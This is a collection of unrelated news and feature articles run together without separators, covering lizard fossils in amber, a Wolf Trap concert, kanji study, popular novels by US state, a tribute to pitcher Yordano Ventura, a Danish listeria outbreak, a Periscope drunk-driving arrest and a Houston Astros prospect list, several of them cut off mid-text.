While the spine, skull and ribs are gone, the lizard's limb bones are preserved in incredible detail, from the hooked toe claws to its tiny kneecaps. This particular preservation is very unusual, which makes the fossil fascinating for its uniqueness, but also frustrating, since identifying the animal requires comparison to other species.
"This is almost detective work because the specimen preserved different portions [of the body]," said Daza. Palaeontologists often use the skulls of fossil lizards to identify them, for example, and this amber find is missing that important piece.
Read more: A feathered dinosaur tail preserved in amber
"[A]mber can be pretty selective, it seems, about what elements get preserved and what doesn't," said Kelsey Jenkins, a graduate student at Sam Houston, who presented research on the fossil at the Society of Vertebrate Paleontology meeting last month. "That's kind of the fun challenge of this fossil. Since so few elements are preserved with little that is easy to characterise and identify, figuring out what kind of lizard – skink, gecko, or something else – is a puzzle."
Comparing this specimen with other fossil lizards is even more challenging considering how rare these animals are in the fossil record. Tiny, delicate creatures don't often last long enough to become preserved, and fossilisation is rare in the kinds of environments they frequent, such as tropical forests. Only very few lizards from this time period have been found encased in exceptional pieces of amber like this one.
"[Small] vertebrates can often be an overlooked component of paleontological sites as they may seem less charismatic than larger fossils," Jenkins explained, "but really small animals can act as good environmental indicators."
The team suspects this lizard might be a skink, but research is still underway. More examination, and more comparison, will tell.
Mysterious origins
The second fossil has quite a different story. For the last few decades, it's lived in the collections of the Queen's University Natural History Museum in Ontario, Canada. While it was occasionally brought out for students to see, just like so many amber specimens, it had no associated data, meaning no one knew where it came from or how old it was.
The lizard being studied by the Canadian team. It's well preserved inside the amber, but X-ray scans were needed to get more detail. Image: Corey Lablans
Recently, however, researchers were able to bring the specimen to a new X-ray microscopy scanner at McGill University in Montreal, providing a high-tech look at the lizard for the first time.
"Our palaeontology professor, he's been teaching this course for a good 20, maybe 30, years, and he brings in this amber sample at the start of every course," said undergraduate student Ellen Handyside while presenting research on the fossil at the same conference. "This year, he got to say, 'We're finally doing something with it!' which was really exciting."
With so much of the skin and skeleton preserved in this case, identification was pretty straightforward: it's a gecko, an ancient species with long toes, curved claws and seemingly no sticky foot pads (although these might simply not have been preserved).
A closer look, via X-ray microscopy scanning, of the Canadian team's lizard specimen, preserved in exquisite skeletal detail. Image: Rui Tahara and Hans Larsson
The big mystery with this lizard is what time and place it called home. Tracking a fossil back to its original provenance is tough, often impossible, but this research team thinks they might be able to do it by analysing the chemical composition of the amber.
The chemistry of the amber matches what is expected from a warm, tropical environment, likely of the Neogene Period (less than 25 million years ago), which helps narrow down the specimen's age and habitat. "However, specifying that to Columbia or Malaysia or Mexico or the Dominican, that's where the trouble really is," Handyside said.
Read more: This amber find is an alien in the insect world
Zeroing in on the lizard's home requires comparing the chemistry of amber in different regions. So far, the researchers have found that this lizard's amber is a poor match for Baltic amber, and a better match for the Dominican, for example, but more data is still needed before they can pinpoint a fitting location.
It's a case of prehistoric forensics work, with scientists trying to trace the chemical evidence to the scene of the victim's death. And just like criminal investigators, they might also look to bugs for help: the same amber piece that trapped this lizard also captured an ancient spider, which might offer more clues to the habitat in which the amber formed.
Both reptilian mysteries are subjects of ongoing research, and when all is said and done, the two lizards' stories may become yet more intertwined: Handyside expressed her team's interest in reaching out to Daza for assistance. Perhaps a collaborative effort can help put these riddles to rest, eventually.Wolf Trap has had some double-take inducing programming over the past couple summers. Sprinkled among the usual suspects -- Garrison Keillor, Mary Chapin Carpenter, the Gipsy Kings -- there's been Ke$ha, Cat Power opening for Billy Idol, OneRepublic and Carly Rae Jepsen.
Robyn, center, and Royksopp are scheduled to bring their tour to Wolf Trap in August. (KACPER KASPRZYK)
The trend appears to be continuing this year with news that Robyn and Röyksopp will be playing at the BYOB outdoor venue August 21 as part of their Do It Again tour. In recent years, both acts have taken the stage at the 9:30 Club, and Robyn has opened for Coldplay at the Verizon Center and Katy Perry at Merriweather Post Pavilion. So it will be interesting to see what happens when the Scandinavian super-lineup lands at the usually sedate venue. Intrigued? The presale for tickets begins April 30 at 10 a.m.
And just to perk up your Monday afternoon, here is Robyn and Röyksopp doing "The Girl and the Robot."More Than Just Rote Learning
During their six years in elementary school, Japanese children learn over 1,000 kanji. In this time, they greatly increase their reading sophistication, moving from picture books to short novels and simple biographies. Characters are all around them and often graded to their level, whether they are taking lessons in social studies or other subjects, practicing calligraphy, or even reading manga and playing video games in their free time.
When they actually sit down to formally study kanji in kokugo (Japanese language) classes, there is more than just rote learning involved, as a look at a textbook—in this case a kanji drill book for third-graders published by Bunkei—will demonstrate. As well as the basics of the meaning, stroke order, and different readings for each kanji, there are colorful pictures appealing to children and easy-to-understand practice sentences. There are also various tips and tricks for fixing the kanji in their memory.
Often there is a short sentence or two highlighting different readings or words that use the kanji. At other times, the book may illustrate the derivation of the structure through resemblance to real things; the character 開, meaning “open,” looks like two hands holding a gate to open it. There are also stories connecting the different parts of the kanji, such as that words spoken (言) in a temple (寺) are poetry (詩).
Pictures and sentences may indicate the differences between words that are pronounced the same, but written with different kanji. For example, 上る and 登る are both pronounced noboru and can be used to describe going up a hill, but while the first has a more general meaning, the second is only for climbing through physical effort. There are some simple quizzes and puzzles too, which put the emphasis on having fun with kanji.
It is certainly true that the ability to write kanji is reinforced by a great deal of repetition, but other techniques play an important role at the initial encounter. Even as the characters get more complex in junior high and high school, there are popular tricks for remembering how to write them. The role of reading should not be ignored, either: repeatedly seeing kanji in meaningful contexts helps them to stick in the mind, which is why schools generally set scheduled reading times throughout the week.
Potential Benefits of Writing by Hand
Given the option, some foreign students learning Japanese may choose not to spend time learning how to write kanji by hand. This is a reasonable decision in an age of computers and smartphones, when very little communication is done on paper. Prioritizing other aspects of Japanese could be wise in the early stages of learning in particular. Even so, handwriting is a skill that offers a variety of potential benefits.
First, the repeated action of writing can help cement the knowledge more firmly than reading alone. Writing also forces students to focus on the shape of a character, emphasizing the difference between similar kanji that are easily confused, such as 千 (1,000) and 干 (dried) or 微 (minute) and 徴 (sign). Both of these factors can make characters more readily recognizable the next time they are encountered in reading.
Copying example sentences can also be beneficial as a form of reading practice. It is all too easy to skim over sentences when simply reading. Actually getting involved through writing means slowing down, encouraging more careful attention to the content. This instills knowledge of natural Japanese and the wider patterns of how words fit together.
A Free Online Resource
The textbooks used in schools are distributed free of charge to children and are not available for sale. There are, however, many other materials for learning kanji in Japanese bookshops or online, including the popular series of preparation books for the Kanji Kentei certification, although these can be difficult to find outside Japan. Some free Internet resources also provide simple worksheets that support basic kanji practice.
The best of these is Chibimusu Doriru, which even Japanese beginners will find relatively easy to navigate. To find kanji worksheets at different levels, click the various options listed in the kokugo (国語) section. More adventurous souls can try the quizzes for elementary school students or explore the idioms, proverbs, or four-character phrases a little further down.
(Banner photo: Writing out columns of characters by hand remains a common—and uncommonly effective—way to memorize them.)America loves Stephen King, and it especially loves The Stand.
As we've found with movies and TV shows, the most popular books set in each state can be pretty surprising. For every obvious To Kill a Mockingbird, there's the unexpected appearance of a lesser-known novel, like Dan Brown's Digital Fortress in Maryland. Yet the widespread presence of King's post-apocalyptic novel stands out as especially unusual, considering most books only represented one state. The Stand represents five — a number only challenged by Neil Gaiman's American Gods, which is set in two.
Source: Kevin O'Keeffe/Mic
Each state's representative fiction book was chosen based on Goodreads scores for series with over 50,000 ratings. If no book from the state reached that vote threshold, we selected the highest-rated in the closest tier of votes. No parts of series that cannot stand alone were included; in other words, The Wonderful Wizard of Oz qualified while Twilight did not.
A few facts and figures about this map:
Two books have the name of their state in the title: Nora Roberts' Montana Sky and James A. Michener's Hawaii. An additional book features a city's name in the title — Hunter S. Thompson's Fear and Loathing in Las Vegas for Nevada.
So what are the four states that feature The Stand as its representative? Idaho, Vermont, Colorado and Arkansas. King has another book on the map, 11/22/63, in Maine.
American Gods represents the two states of Minnesota and Wisconsin. Another author with multiple entries is Jodi Picoult, who has three books on the map: Plain Truth (Pennsylvania), My Sister's Keeper (Rhode Island) and Nineteen Minutes (New Hampshire).
The two books with more than 1 million ratings are Kathryn Stockett's The Help (Mississippi) and John Green's The Fault in Our Stars (Indiana). Close to 1 million but falling just short is Gillian Flynn's Gone Girl (Missouri).
Perhaps not coincidentally, all of those widely rated books have been adapted into movies, joining others like John Grisham's Tennessee-representing The Firm and Fear and Loathing in Las Vegas for Nevada.
Young adult books do really well on Goodreads — many were discounted because they were part of series, but the one with the most ratings of all is The Fault in Our Stars. That's why it's important to note these are the most popular books set in each state, not the best on another scale.
This map is just of the U.S., but if we were to turn an eye to Europe (and we were including series), the representative from the United Kingdom would be obvious: Harry Potter and the Sorcerer's Stone is by far the most-rated book on Goodreads. Unfortunately, not all the magic in the world can make J.K. Rowling's book American.
Corrections: June 28, 2015
An earlier version of this article featured Under the Banner of Heaven as the representative book from Utah. Under the Banner of Heaven is a nonfiction book, and thus has been replaced by A Study in Scarlet. Additionally, the earlier version of this article featured The Glass Castle as the representative book from Arizona. The Glass Castle is a memoir, and thus has been replaced by The Stand. Also, The Color Purple was originally featured as the representative book from Georgia. The highest-rated book from Georgia is actually Gone with the Wind.KANSAS CITY, Mo. — Madison Bumgarner did not need to see the radar gun or the feeble swings of his teammates to know that Yordano Ventura was the right person on the mound for the Royals.
Ventura was only 23, but nobody should look at a man’s birth date to gauge his guts to pitch in a World Series elimination game. You can look at his stuff. If you are Bumgarner and pitched in a championship arena at 21, you look at his eyes. Bumgarner did. He could have been looking in a mirror.
“That’s a tough spot to be put in, but that’s the spot you want to be put in, like he was,” Bumgarner said. “He seemed like the kind of guy who pitched with a little bit of a chip on his shoulder. I kind of like that. I don’t need to talk about his stuff, how electric it was and how good it was.”
On Tuesday night, the Giants return to Kauffman Stadium for the first time since the 2014 World Series. Much of the spotlight will shine on Bumgarner, who started two of the Giants’ four wins and saved Game 7 with five shutout innings to cement his reputation as one of history’s great postseason pitchers. He faces the Royals on Wednesday night.
At the same time, nobody should forget the pitcher who started two of the Royals’ three victories, who got his championship ring in 2015, became his team’s undisputed ace, then died at age 25 on Jan. 22 when he crashed his Jeep through a guardrail in the middle of the night on a windy mountain road in his native Dominican Republic. He was ejected from the vehicle.
The Giants will see memorials to Ventura at Kauffman Stadium, just as the A’s witnessed a wrenching tribute before Kansas City’s home opener last week at which his mother spoke. They will see patches on the Royals’ uniforms that read “ACE 30,” Ventura’s nickname and uniform number.
And their minds surely will go to 2014, when Ventura faced Jake Peavy in Games 2 and 6 of the World Series.
In Game 2, with the Royals down 1-0 in the Series, Ventura pitched into the sixth inning and held the Giants to two runs before Kansas City scored five in the bottom half to secure a 7-2 win.
Six nights later, the Royals returned to Kansas City down 3-2 in the Series, after Bumgarner pitched a Game 5 shutout, needing a win to force Game 7. He faced Peavy again. This time, it was no contest.
Ventura walked five but held the Giants scoreless on three hits for seven innings in a 10-0 Kansas City rout. The Royals scored seven runs in the second inning.
“His stuff was as electric as anybody I’ve ever faced,” Buster Posey said. “For somebody to be that young and on that stage, he had a lot of poise and confidence. He obviously pitched a great game.
“Anytime you’re up against elimination, you get to see people’s character come out. It seemed like he was confident in himself. We could all see he was a very confident person.”
The Giants saw Ventura’s stuff in Game 2. In Game 6, they witnessed his resolve.
“We knew we had our work cut out with this young kid, his power arm and the stuff that he had,” manager Bruce Bochy said. “We just wanted to try to keep it as close as we could and it got away from us early. Now it’s an uphill battle with this kid and the special stuff he had.
“I didn’t know him at all, but for him to pitch that well at his stage shows you his makeup and mental toughness to go along with his great stuff.”
Johnny Cueto did know Ventura well. They were teammates for three months on the Royals’ 2015 championship team, a wizened pitcher and a cocky kid from the same country, both chasing the same ring.
Cueto cannot forgot how he learned of Ventura’s death. He had just begun to digest news that onetime Cleveland infielder Andy Marte was killed in a car wreck in the Dominican at 33. The phone rang. On the other end was friend and former Reds teammate Edwin Encarnacion with word that Ventura died the same way, on the same day.
Encarnacion started the call by asking Cueto, “Have you heard the latest?”
“I was in a state of shock,” Cueto said through interpreter Erwin Higueros. “I remember him all the time. They’re always showing pictures of him. I remember him because he was a friend of mine and a teammate. It’s hard for me to believe that he passed away.”
They often talked, with Cueto giving advice. In the end, Cueto said, “Everybody does what they want to do.”
Speeding drivers and potholed roads create a toxic cocktail in the Dominican. Days before Ventura pitched in Game 6, his friend, rookie Cardinals outfielder Oscar Taveras, died in a car crash in the Dominican. Ventura faced the Giants with a tribute to Taveras that he wrote on his cap and now seems spooky in hindsight. It read, “RIP O.T. #18.”
The highway that claimed Ventura was a good road, relatively new, but dangerous in the darkness because of its mountainous turns. Ventura reportedly was speeding on a portion of the road with a 15-mph speed limit when he crashed. With his wild-child reputation, folks expected to hear he was impaired. Authorities found otherwise.
A mother lost her son. A country with so many baseball heroes lost a great one. A team lost a friend. Baseball lost a chance to see how good Ventura could have been had he pitched in more than 94 games.
“Just the short career that he had, you could see him progressing and maturing,” Bumgarner said. “He was really good for someone that age.”
Cueto was more circumspect, positing it was “hard to say” what Ventura’s career would have looked like in the end.
“People stay 15 years in the big leagues and never reach their potential,” Cueto said. “But to be honest, the kid, he had talent.”
Henry Schulman is a San Francisco Chronicle staff writer. Email: hschulman@sfchronicle.com Twitter: @hankschulmanSince September last year, 12 people have died of listeria and a further eight have been infected after consuming some bad ‘rullepølse’ sandwich meat.
The food product authorities Fødevarestyrelsen suspect that the bad meat originated from Jørn A Rullepølser in Hedehusene near Copenhagen and have closed down the producer.
The 20 infected patients consist of eleven women and nine men aged 43-89 from various parts of Denmark, according to the national serum institute Statens Seruminstitut.
“From September 2013 until today, 20 patients have been registered suffering from listeriosis, which is an aspect of the outbreak,” Statens Seruminstitut wrote in a press release.
“Most cases have however occurred recently. In June, July, and August, 15 cases have been registered alone.”
READ MORE: Low risk of Ebola outbreak in Denmark
Long incubation times
Similar to previous cases, the 12 people who died also suffered from other serious illnesses and their deaths cannot completely be attributed to a listeria infection, Statens Seruminstitut stated.
Patients suffering from listeria, which often manifests itself as a blood poisoning or meningitis, are often admitted to hospital with symptoms that include fever, nausea and eventually diarrhoea and vomiting. The mortality rate is about 25 percent.
The incubation time for listeriosis is between one and 70 days (usually seven to 21 days) and the long incubation times often make it difficult to locate the infection source.
About 50 cases of listeriosis are registered in Denmark every year.In what will rank as one of the most disgraceful uses of social media in 2015, a 23-year-old woman in Florida has been arrested after broadcasting a live stream of herself driving while drunk on Periscope.
Whitney Marie Beall of Lakeland, Florida decided to live broadcast whilst driving under the influence. In one of seven episodes recorded during her binge session, Whitney Beall says to her viewers “I’m driving home drunk, let’s see if I get a DUI.”
YouTube user Lkld Now managed to screencast one of the DUI diatribes before it was taken off air. Beall, who is visibly intoxicated and holding the phone in her hand simply titled the scope “Driving Home Drunk. Entertainment Please!!!” Here’s the 40-minute video:
“I am drunk beyond belief people, I can’t read your snaps I can’t read your Periscopes. I feel like I’m going to be drunk all the way home”
Owned by social media giant Twitter, Periscope is fast becoming the best way to engage with your followers. Designed primarily as a phone app it gives users a platform onto which they can broadcast any aspect of their lives to a worldwide audience. It has proved especially effective when live streaming events and breaking news stories. We suspect it was only a matter of time before someone used it to seriously incriminate themselves.
During the 40-minute-long clip above, hundreds of users signed in to the Periscope app to plead with Bell to stop driving, warning that it was not just her life but other lives she was putting at risk with her actions. Despite their best efforts, they were ignored.
This led to several people phoning 911 and reporting the incident as it unfolded. The police department, which had not been formally trained on how to use Periscope, had to rely on the public to help locate Beall and her car. ABC Action News reports that one of Lakeland’s police officers even took it upon themselves to log in to his personal account to aide in the search.
Thankfully due to the diligence of the general public and the police force alike Whitney Beall was pulled over and arrested and charged with a DUI. The dash cam of a Lakeland Police Department patrol vehicle recorded Bell performing the field sobriety test. The officer on call can be heard telling Beall, “I wish you had your phone on you to record this.”
Lakeland Police Department released |
who should be ready for the majors right around the time the organization is looking to legitimately compete again after going through its rebuilding process.
A talent evaluator I spoke with said Correa is intriguing because he’s a middle infielder who projects to hit for both average and power. The contact cautioned, though, that it would take time for the hit tool to develop but he already flashes raw power potential and has an idea of what he’s doing at the plate. “The swing works,” he said, adding that Correa is a bright, hard-working player who wants to get better. Getting more specific, he said the shortstop needs to take more pitches and curb his aggressiveness while also improving his hitting mechanics, including the timing of his load and subsequent stride.
As for his defense, the talent evaluator said Correa showed solid defensive abilities at shortstop because he’s able to do a little bit of everything but his body may eventually dictate a move to the hot corner. As a teenager, he already stands 6’4”. “(Correa) has the tools, skills, and foot work to stick at shortstop, but size could eventually necessitate a move to third base where he could be a plus defender,” the contact said. Once he taps into his raw power with the necessary adjustments at the plate Correa could flash the prototypcial power that teams covet from third basemen.
The young prospect is getting more seasoning while playing in the Puerto Rico winter league and will likely open 2013 in low-A ball. He should move somewhat smoothly through the system and could be ready for the majors around 2016.
#3 Delino Deshields Jr. (2B)
Age PA H 2B HR BB SO SB AVG OBP SLG wOBA 19 637 154 25 12 83 131 102.287.389.426.375
Opening Day Age: 20
2012 Level: A/A+
Acquired: 2010 draft (8th overall)
Projected 2013 Level: A+/AA
DeShields Jr. entered pro ball with impressive pedigree as the son of a former 12th overall draft pick and 13-year big league veteran. A first rounder himself, Junior hasn’t been able to solve the minors as quickly as his father – who did it in three years – but he had a breakout 2012 season that saw him steal more than 100 bases.
DeShields strikes out a fair bit for someone whose game is built around speed but he also walks a fair bit and shows gap power despite his 5’9” stature. A talent evaluator I spoke with likened his frame to that of a running back and said it also reminds him of Colorado Rockie Eric Young Jr., another speedster whose father played in the majors. The same contact said he had DeShields being clocked under 4.00 secs to first base from the right side of the batters box, making him a pure 80 on the 20-80 scale for his speed. “He can steal first base and second base,” he said, also highlighting the pop, which comes from a quick, short swing. “He has the power to hit 10-15 home runs in the majors.”
What DeShields needs to improve on, though, is a refined approach and better pitch recognition of breaking balls, both of which could help him trim his strikeout rate. He also has some fine tuning to be done at second base after spending time in the outfield as an amateur. “He’s turned into a pretty good little second baseman,” the talent evaluator said. “He was a little rough at first.” He also said DeShields’ arm strength is fringe-average to average and that his hands “are good enough.”
DeShields has a chance to develop into an impact, game-changing talent and he should open 2013 in high-A ball but could taste double-A before the end of the season. It should be at least two years before he challenges Jose Altuve for the title of Astros second baseman of the future.
Additional Notes
From being one of the most disappointing prospects I saw in 2011 to a 100 SB stand out, Delino DeShields Jr. re-established himself as one of the best prospects in the Astros organization. From video, I can’t help but be impressed by how much his swing length has shortened from last season. Lowering his hands has done wonders in terms of allowing for more consistent, hard contact which is an excellent sign. (Mike Newman)
#4 George Springer (OF)
Age PA H 2B HR BB SO SB AVG OBP SLG wOBA 22 666 173 25 28 75 176 37.300.386.535.400
Opening Day Age: 23
2012 Level: A+/AA
Acquired: 2011 draft (11th overall)
Projected 2013 Level: AA
A contact I spoke to about Springer summed up the prospect’s offense with this statement: “He swings very hard and because of that – when he hits the ball – it goes a long way.” The outfield prospect, and former first round draft pick, is currently in the process of turning his raw athleticism into pure baseball skills. As the contact mentioned, he flashes plus raw power but that comes with high strikeout rates (more than 26% in 2012).
The talent evaluator said as Springer gains more confidence as a baseball player more improvements should follow, adding that the prospect has the potential to have all five tools be average or better, with the hit tool the biggest question mark. On the surface, Springer, 23, had an outstanding offensive season in high-A ball in 2012 but he was also playing the in the California League for a team known for having one of the Top 5 most offense-boosting parks in minor league baseball. Springer showed power (.240 ISO), speed (28 SB) and some patience (11.2 BB%). His.316 was aided by an unsustainable.404 BABIP.
Defensively, Springer should develop into a plus defensive center-fielder. The contact I spoke with said the Connecticut native makes playing center field look easy thanks in part to plus speed, and that he also possesses a plus arm. “He makes highlight reel plays.” It was noted that, if need be, Springer has the arm and power potential to profile well in right field.
He still has work to do, especially at the plate, and double-A will represent a huge challenge for him in 2013, although he showed very well in the Arizona Fall League. The talent evaluator did not seem concerned about the prospect’s future. “The swing-and-miss will always be part of who he is… but he’s going to be a dangerous hitter.”
#5 Lance McCullers Jr. (P)
Age G GS IP H HR K/9 BB/9 ERA FIP 18 8 8 26.0 20 2 10.04 4.15 3.46 3.47
Opening Day Age: 19
2012 Level: R/R+
Acquired: 2012 draft (2nd round)
Projected 2013 Level: A
McCullers Jr. is a prospect that makes me feel old. I was a fan of his father when he was a dominant, innings-eating reliever for the San Diego Padres between 1985 and 1988. Junior was the 41st overall selection of the 2012 draft and he was born one year after his father retired from the major leagues.
Thanks to the new signing deadline for draftees in 2012, the Astros got McCullers under contract in time to make eight starts. He showed decent results, although he struggled with both his command and control at times. Questions have dogged the young pitcher over the past two years over his ability to stick as a starting pitcher due to concerns over his delivery. A contact I spoke with wasn’t concerned. “Any time you throw that hard and your arm is that whippy… you’ll always have people who say he’ll be better as a reliever,” he said, adding, “He shows everything necessary to be a starter but ending up in the bullpen will be neither a surprise nor a disappointment… He has the stuff to dominate in ‘pen.”
McCullers is best known for having a power fastball that can sit in the mid-90s and touch 100 mph. The talent evaluator I spoke with also had nice things to say about the prospect’s potentially plus slider,which is also referred to as a power slurve. “It’s very hard to hit it when he locates it… It’s a hard, bitting pitch… with diagonal tilt,” the contact commented. McCullers’ third pitch is a solid changeup.
With a strong spring training, the 19-year-old McCullers could make a play to open 2013 in full-season A-ball, although a little more seasoning in extended spring training would not hurt his development. He has the ceiling of a No. 2 starter, or possibly a high-leverage reliever.
Additional Notes
McCullers was a different pitcher in person than I was expecting given his reputation as a big arm with limited secondary offerings. At 92-94 MPH, touching 96, his fastball was a bit flat. However, his changeup was better than I expected and I perceived him as having enough feel for the pitch to consider him a three pitch guy instead of a future bullpen arm with a fastball/slider. (Mike Newman)
#6 Jarred Cosart (P)
Age G GS IP H HR K/9 BB/9 ERA FIP 22 27 26 132.2 134 3 7.26 4.07 3.73 3.42
Opening Day Age: 22
2012 Level: AA/AAA
Acquired: 2011 trade (with Philadelphia)
Projected 2013 Level: AAA/MLB
Another part of the Hunter Pence trade from 2011, Cosart has seen his prospect value fluctuate throughout his career despite always flashing good, raw stuff. Inconsistencies and injuries have plagued him but, as a talent evaluator pointed out, the pitching prospect made a lot of strides in 2012 and answered questions and concerns over his ability to stick in the starting rotation.
“He’s looking more like a starter than he ever has,” the contact said, adding that Cosart did a better job of inducing ground balls and having quick innings. “He wasn’t trying to strike everyone out.” The hurler, who has always had electric stuff, improved his command last season and also started throwing his curveball a little harder, which created a crisper break to it. Cosart’s fastball can sit in the mid-90s and touch the upper 90s. His changeup, which he doesn’t use a ton, has a lot of potential.
On the down side, Cosart struggled a bit with blister issues and missed a few starts, totalling just 114.2 innings on the year. The 22-year-old also continued to show inconsistent control of the strike zone. To help make up some innings, and to continue working on smoothing out his game, Cosart was assigned to the Arizona Fall League where, as of the time of his writing, he had a 6.50 ERA with 25 hits and nine walks allowed in 18.0 innings.
After reaching triple-A at the end of 2012 and making six appearances there, Cosart should return to the same level in 2013 but could see time in the majors in the second half of the year. If all goes as hoped, the former 38th round draft pick – and Texas native – could develop into a No. 2 or 3 starter for the Astros. The contact added, “He just needs to just continue to keep the ball down in the zone and throw strikes.”
#7 Mike Foltynewicz (P)
Age G GS IP H HR K/9 BB/9 ERA FIP 20 27 27 152.0 146 11 7.40 3.67 3.14 3.82
Opening Day Age: 21
2012 Level: A
Acquired: 2010 draft (19th overall)
Projected 2013 Level: A+/AA
Foltynewicz, 21, was one the club’s first round draft pick in 2010 – along with fellow Top 15 prospect Delino DeShields Jr. – and signed out of an Illinois high school. He turned his back on an opportunity to play college ball at the University of Texas. Like a lot of cold-weather pitchers, the young hurler was a step behind some of his fellow prospects in pro ball, causing him to repeat A-ball in 2012 – and the results were much improved.
At 6’4” 200 lbs, Foltynewicz has a strong pitcher’s frame and provided more than 150 innings of work for Lexington this past season. If everything breaks right for the pitcher – or rather, if nothing breaks – he could develop into an innings-eating No. 3 starter for the Astros. Foltynewicz features a low-90s fastball that can touch the mid-90s but it has better movement and more consistent command when he takes a little off the pitch. His go-to offering is a changeup and he also features two breaking balls – of which his slider is the most promising.
Although he doesn’t have a huge ceiling, Foltynewicz could develop into a valuable piece of the puzzle for Houston as it looks to develop a reliable and competitive big league staff. He should move up to high-A ball in 2013 but may spent only a short time there after pitching two seasons in Lexington, and also to limit his exposure to the offensive-happy California League.
#8 Rio Ruiz (3B/DH)
Age PA H 2B HR BB SO SB AVG OBP SLG wOBA 18 152 34 11 1 16 32 2.252.336.400.343
Opening Day Age: 18
2012 Level: R/R+
Acquired: 2012 draft (4th round)
Projected 2013 Level: A
The selection of first overall pick Carlos Correa not only brought the best overall talent available into the system – in my modest opinion – but it ensured the Astros had enough money and cap space to sign a number of other high-ceiling talents, including Ruiz. The club went about $1.5 million over slot to pry the Scott-Boras-advised third baseman away the University of Southern California.
The California prep star – in both baseball and football – slid to the Astros in the fourth round (in part) because of a blood clot in his neck that required surgery and wiped out much of his senior year of high school. Because of the missed time, Ruiz took part in a number of private workouts for big league clubs prior to the draft. The Astros were clearly impressed with his performance.
After signing, he appeared in 38 games at two rookie ball levels and produced solid numbers, considering his age and lay-off time. He hit just one home run but slugged 11 doubles. Ruiz also showed a solid eye with 16 walks. A contact I spoke with said the California native possesses a “natural swing” and 55-60 power potential from a grade standpoint. “He’s a left-handed hitter with a premium swing… that is very pleasing to the eye… It’s a big-league swing,” he said, adding, “He also has power, although it’s not gaudy power.”
As for his defense, there is work to be done to ensure he develops into even an average big league third baseman but the talent evaluator I spoke with said Ruiz displays good arm strength and he plays third base “well enough.” The infield prospect should open 2013 in A-ball unless he struggles enough in spring training to convince the organization that he needs some more seasoning in extended spring training. It may take some patience but my contact was enthusiastic about Ruiz’s future. “He has a good chance to play third base and hit in the middle of the order.”
#9 Carlos Perez (C)
Age PA H 2B HR BB SO SB AVG OBP SLG wOBA 21 416 103 28 5 41 55 3.285.360.438.360
Opening Day Age: 22
2012 Level: A/A+
Acquired: 2012 trade (with Toronto)
Projected 2013 Level: A+/AA
I’ve personally followed Perez closely since his time in the Dominican Summer League with the Toronto Blue Jays organization and when I brought up his name to a talent evaluator I was told that he was “a big fan of his.” The contact went on to say that the young catcher had a solid, well-rounded package.
Perez will likely be known as an offensive-minded catcher even though he’s no slouch behind the plate. He has strong forearms that he uses to generate gap power and he’s still learning to tap into his full raw power potential, although he’ll never be a huge home-run guy. “He’ll run into his fair share of home runs,” the talent evaluator said. The young hitter is still too aggressive for his own good at times but he has solid contact skills and struck out just 55 times in 97 games.
On the defensive side, Perez has made significant strides over the past two seasons in A-ball. “He can really catch and the pitchers love throwing to him…” the contact said, “He throws well and [the arm] is average, if not more.” He should develop into an average or better MLB receiver.
At worst, I see Perez spending a number of seasons as a big-league back-up catcher but the contact I spoke with said the Venezuelan definitely “has a chance to be an everyday player” thanks to his solid approach at the plate and defensive potential. Perez will likely spend a couple months in high-A ball Lancaster before taking the big prospect step to double-A. He could reach the majors in late 2015 or early 2016.
#10 Nick Tropeano (P)
Age G GS IP H HR K/9 BB/9 ERA FIP 21 38 27 173.0 158 13 9.57 2.71 2.97 3.06
Opening Day Age: 22
2012 Level: A/A+
Acquired: 2011 draft (5th round)
Projected 2013 Level: AA
Tropeano is a cool story. The right-hander pitched at a college in the northeast with a modest baseball program and he pitched mostly in the upper 80s with his fastball, occasionally touching 91-92 mph. One contact said he was a command/control pitcher who often pitched backwards. After less than a year in professional baseball the fifth round draft pick was throwing in the low-90s with regularity and even hitting the mid-90s.
Tropeano suddenly became very interesting as someone with the mentality of a command/control pitcher but the pure stuff of a mid-rotation starter. He can spot his fastball with ease and also baffles hitters with a potentially plus changeup and a developing breaking ball. When I asked a contact what caused the improvement in his fastball he said it could have been any number of things from moving from cold weather state to added experience to professional coaching – or a combination of all three.
Along with solid stuff, Tropeano also has a deceptive deliver and varies hitters’ timings. When asked what the pitching prospect needs to work on, a contact told me that he still has some work to with his command, which is currently a step behind his control. “He has enough deception that it helps him get by with poor command,” the contact said, adding that the breaking ball also needs to improve for Tropeano to be a front-line starter.
After splitting 2012 between two A-ball levels and also pitching well in the Arizona Fall League, Tropeano should move up to double-A to begin 2013 and he could reach the Astros by late in the year or early 2014.
#11 Robbie Grossman (OF)
Age PA H 2B HR BB SO SB AVG OBP SLG wOBA 22 577 129 28 10 77 121 13.266.376.410.361
Opening Day Age: 23
2012 Level: AA
Acquired: 2012 trade (with Pittsburgh)
Projected 2013 Level: AAA/MLB
I’ve ranked Grossman favorably over the past couple of years but remain conflicted over his ultimate ceiling and big league role. He has a number of offensive weapons but he lacks the true power that teams look for from a corner outfielder. On the plus side, he can play all three outfield positions, gets on base at a crazy clip, has gap power and can run a little bit.
Despite my trepidation, a contact very familar with Grossman believes he’ll be a regular contributor in the majors. “I believe Robbie will earn the opportunity to be an everyday player; whether he makes the [mechanical] adjustments to his swing will determine his playing time at the major league level.” he said, adding, “Offensively, he has the best eye for a hitter with his experience that I have seen in a while. His game continues to evolve but he has to hit fewer fly balls and use all his tools to succeed at the upper levels.”
On defense, Grossman has played a lot of center field but has an average arm and modest range and reads/routes. “He still has room for improvement in each area,” the contact stated. “Defensively, he is a corner outfielder in my eyes. He takes pride in his defense.”
There aren’t a ton of big league outfielders that match Grossman’s switch-hitter profile and mentality as a grinder who wants to play and play hard. He should open 2013 in triple-A and could reach the majors by mid-to-late season, although he’ll face plenty of competition for a promotion/playing time from the likes of Marc Krauss, George Springer, Che-Hsuan Lin, Austin Wates and Brandon Barnes. He doesn’t do anything flashy but Grossman could surprise a lot of people thanks to his wide range of abilities.
#12 Asher Wojciechowski (P)
Age G GS IP H HR K/9 BB/9 ERA FIP 23 26 26 137.0 121 3 7.23 2.36 3.15 2.89
Opening Day Age: 24
2012 Level: A+/AA
Acquired: 2012 trade (with Toronto)
Projected 2013 Level: AA/AAA
The 41st overall selection of the 2010 draft, Wojciechowski has had an inconsistent pro career to this point. The Blue Jays organization attempted – on more than one occasion – to smooth out his delivery, often with disastrous results. Questions over his ability to stick in the starting rotation have haunted the right-hander since his pre-draft days because of his delivery, as well as his lack of a reliable off-speed pitch.
